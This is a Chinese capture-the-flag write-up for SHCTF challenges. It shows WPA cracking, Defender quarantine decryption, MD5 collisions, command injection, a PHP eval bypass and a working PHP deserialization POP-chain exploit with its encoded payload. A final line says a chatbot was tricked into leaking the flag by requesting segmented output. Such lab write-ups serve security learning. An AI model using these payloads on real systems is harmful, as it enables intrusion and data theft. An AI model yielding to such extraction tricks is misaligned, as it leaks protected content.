MISC

有WiFi干嘛不用呢?

从下载的log,netxml,csv等文件得知wifi加密方式为WPA-PSK,并且还有cap流量包和密码字典
aircrack-ng安装和基础使用教程
使用aircrack-ng工具爆破密码,作为flag提交即可

Rasterizing Traffic

直接搜索flag字符串得到的是错误flag
TCP流18拿到一张png图片,打开发现是光栅
https://blog.zgsec.cn/archives/504.html
借用脚本并做细微修改,将三维改二维

1
2
3
4
5
6
7
8
from PIL import Image
import numpy as np

img = np.array(Image.open('flag.png'))
for i in range(5):
z = np.zeros_like(img)
z[:, i::5] = img[:, i::5]
Image.fromarray(z).show()

拜师之旅①

给PNG添加头尾,并修改宽高即可拿到flag

真真假假?遮遮掩掩!

第一个zip是伪加密,第二个在注释处有hint:SHCTF??????FTCHS结合题目掩码爆破弱口令即可

Quarantine

windows defender隔离的文件存放在C:\ProgramData\Microsoft\Windows Defender\Quarantine

在网上找到一篇博客,了解到实质是对文件进行了一次RC4的加密,且使用固定密钥

What happens when Windows Defender Quarantines Stuff)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# Copyright (C) 2015 KillerInstinct, Optiv, Inc. (brad.spengler@optiv.com)
# This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org
# See the file 'docs/LICENSE' for copying permission.

import os
import struct
import hashlib
from binascii import crc32

def mse_ksa():
# hardcoded key obtained from mpengine.dll
key = [0x1E, 0x87, 0x78, 0x1B, 0x8D, 0xBA, 0xA8, 0x44, 0xCE, 0x69,
0x70, 0x2C, 0x0C, 0x78, 0xB7, 0x86, 0xA3, 0xF6, 0x23, 0xB7,
0x38, 0xF5, 0xED, 0xF9, 0xAF, 0x83, 0x53, 0x0F, 0xB3, 0xFC,
0x54, 0xFA, 0xA2, 0x1E, 0xB9, 0xCF, 0x13, 0x31, 0xFD, 0x0F,
0x0D, 0xA9, 0x54, 0xF6, 0x87, 0xCB, 0x9E, 0x18, 0x27, 0x96,
0x97, 0x90, 0x0E, 0x53, 0xFB, 0x31, 0x7C, 0x9C, 0xBC, 0xE4,
0x8E, 0x23, 0xD0, 0x53, 0x71, 0xEC, 0xC1, 0x59, 0x51, 0xB8,
0xF3, 0x64, 0x9D, 0x7C, 0xA3, 0x3E, 0xD6, 0x8D, 0xC9, 0x04,
0x7E, 0x82, 0xC9, 0xBA, 0xAD, 0x97, 0x99, 0xD0, 0xD4, 0x58,
0xCB, 0x84, 0x7C, 0xA9, 0xFF, 0xBE, 0x3C, 0x8A, 0x77, 0x52,
0x33, 0x55, 0x7D, 0xDE, 0x13, 0xA8, 0xB1, 0x40, 0x87, 0xCC,
0x1B, 0xC8, 0xF1, 0x0F, 0x6E, 0xCD, 0xD0, 0x83, 0xA9, 0x59,
0xCF, 0xF8, 0x4A, 0x9D, 0x1D, 0x50, 0x75, 0x5E, 0x3E, 0x19,
0x18, 0x18, 0xAF, 0x23, 0xE2, 0x29, 0x35, 0x58, 0x76, 0x6D,
0x2C, 0x07, 0xE2, 0x57, 0x12, 0xB2, 0xCA, 0x0B, 0x53, 0x5E,
0xD8, 0xF6, 0xC5, 0x6C, 0xE7, 0x3D, 0x24, 0xBD, 0xD0, 0x29,
0x17, 0x71, 0x86, 0x1A, 0x54, 0xB4, 0xC2, 0x85, 0xA9, 0xA3,
0xDB, 0x7A, 0xCA, 0x6D, 0x22, 0x4A, 0xEA, 0xCD, 0x62, 0x1D,
0xB9, 0xF2, 0xA2, 0x2E, 0xD1, 0xE9, 0xE1, 0x1D, 0x75, 0xBE,
0xD7, 0xDC, 0x0E, 0xCB, 0x0A, 0x8E, 0x68, 0xA2, 0xFF, 0x12,
0x63, 0x40, 0x8D, 0xC8, 0x08, 0xDF, 0xFD, 0x16, 0x4B, 0x11,
0x67, 0x74, 0xCD, 0x0B, 0x9B, 0x8D, 0x05, 0x41, 0x1E, 0xD6,
0x26, 0x2E, 0x42, 0x9B, 0xA4, 0x95, 0x67, 0x6B, 0x83, 0x98,
0xDB, 0x2F, 0x35, 0xD3, 0xC1, 0xB9, 0xCE, 0xD5, 0x26, 0x36,
0xF2, 0x76, 0x5E, 0x1A, 0x95, 0xCB, 0x7C, 0xA4, 0xC3, 0xDD,
0xAB, 0xDD, 0xBF, 0xF3, 0x82, 0x53
]
sbox = range(256)
j = 0
for i in range(256):
j = (j + sbox[i] + key[i]) % 256
tmp = sbox[i]
sbox[i] = sbox[j]
sbox[j] = tmp
return sbox

def rc4_decrypt(sbox, data):
out = bytearray(len(data))
i = 0
j = 0
for k in range(len(data)):
i = (i + 1) % 256
j = (j + sbox[i]) % 256
tmp = sbox[i]
sbox[i] = sbox[j]
sbox[j] = tmp
val = sbox[(sbox[i] + sbox[j]) % 256]
out[k] = val ^ data[k]

return out

def mse_unquarantine(f):
with open(f, "rb") as quarfile:
data = bytearray(quarfile.read())

fsize = len(data)
if fsize < 12 or data[0] != 0x0B or data[1] != 0xad or data[2] != 0x00:
return None

sbox = mse_ksa()
outdata = rc4_decrypt(sbox, data)
#prints
with open("unquar-with-meta.bin", "wb") as f:
f.write(outdata)

# MSE stores metadata like the original filename in a separate file,
# so due to our existing interface, we can't restore the original name
# from just the ResourceData file. Later we may allow uploading pairs
# of files, match them up by name, and then associate that data here
# for the final submission

headerlen = 0x28 + struct.unpack("<I", outdata[8:12])[0]
origlen = struct.unpack("<I", outdata[headerlen-12:headerlen-8])[0]

if origlen + headerlen == fsize:
with open("unquar.bin", "wb") as f:
f.write(outdata[headerlen:])

mse_unquarantine("50761523FA79FDF68E04707959836D1F6DBA9969")#填自己的文件名

借用该脚本(python2)成功解密文件

实质出题就是把木马语句和密文拼在一起然后让windows defender识别为病毒后选择隔离得到的加密文件

解密后面的大串base64后得到加密压缩包.尝试爆破后通过字典rockyou爆出密码得到flag

WEB

MD5 Master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
echo $master . "<br>";
echo file_get_contents('/flag');
}
}
else{
die("master? <br>");
}

md5强碰撞,使用fastcoll生成一个前缀为MD5 master!,后续内容不同且md5值相同的两个文件
fastcoll -p 0.txt -o 1.txt 2.txt
比较md5值并输出url编码结果(存在不可打印字符所以要先编码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo 'md5值: '. md5( (readmyfile("./1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("./1.txt"));
echo "</br>";
echo 'md5值:'.md5( (readmyfile("./2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("./2.txt"));
echo "</br>";

用BP发包即可得到flag

1zflask

前端都不做一个(
在/robots.txt拿到新路由,访问后得到app.py源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
import flask
from flask import Flask, request, send_from_directory, send_file

app = Flask(__name__)

@app.route('/api')
def api():
cmd = request.args.get('SSHCTFF', 'ls /')
result = os.popen(cmd).read()
return result

@app.route('/robots.txt')
def static_from_root():
return send_from_directory(app.static_folder,'robots.txt')

@app.route('/s3recttt')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)

if __name__ == '__main__':
app.run(debug=True)

在/api路由处可以传参$SSHCTFF进行变量覆盖,程序会读取内容进行命令执行
payload:url/api?SSHCTFF=tac /f*

单身十八年的手速

js游戏,在js代码源码处找到胜利时会alert的base64密文.解密得到flag

1
2
3
if (times >= 0x208) {
alert('U0hDVEZ7NTlkMDJmZGItYmFhYS00ZjU1LTlhNGQtNGM1ZjA4OGY3YzhkfQo=');
}

ez_gittt

dirsearch扫到一堆.git,判断为.git泄露
https://github.com/WangYihang/GitHacker
githacker --url xxx/.git/ --output-folder result
然后进入文件夹内
git log查看修改日志
git reset --hard "xxx"回退版本

此时文件夹内就出现flag了

蛐蛐?蛐蛐!

点按钮跳转check.php,返回原来页面在前端源码注释处得到题目源码的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
if($_POST['ququ']!=null){
$eval_param = $_POST['ququ'];
if(strncmp($eval_param,'ququk1',6)===0){
eval($_POST['ququ']);
}else{
echo("可以让fault的蛐蛐变成现实么\n");
}
}
echo("蛐蛐成功第一步!\n");

}
else{
echo("呜呜呜fault还是要出题");
}

第一个弱等于绕过,第二个检查开头是否为ququk1
php弱等于特性:114514a==114514;a415411==0
第二个要求命令里带有ququk1,管道符或者分号绕过即可
payload:
GET:url/check.php?ququ=114514a
POST:ququ=ququk1;phpinfo();

poppopop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {

($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
if (isset($_GET['data'])) {
highlight_file(__FILE__);
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
echo "小丑离我远点!!!";
}

类SH是定义静态变量的不用理会,当出发各自的函数就会使变量为True
函数调用顺序:destruct()->__toString()->classC的flag()->__invoke()
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class C {
public $p;
}
class T{
public $n;
}
class F {
public $o;
}
class SHCTF {
public $isyou;
public $flag;
}
$C = new C();
$T = new T();
$F = new F();
$SHCTF = new SHCTF();

$T->n=$F;
$F->o=$C;
$C->p=$SHCTF;
$SHCTF->isyou="system";
$SHCTF->flag="tac /f*";

echo base64_encode(serialize($T));

paylaod:?data=TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo3OiJ0YWMgL2YqIjt9fX19

jvav

在名为demo.java的文件里运行java代码,写一个命令执行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.BufferedReader;
import java.io.InputStreamReader;

class demo { // 类名为小写,匹配文件名 demo.java
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("tac /flag");

// 获取命令输出流
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line); // 输出每一行
}

reader.close(); // 关闭读取流
} catch (Exception e) {
e.printStackTrace(); // 输出异常信息
}
}
}

AI

小助手

常规欺骗,base64的话得到的不准确,加了个分段出了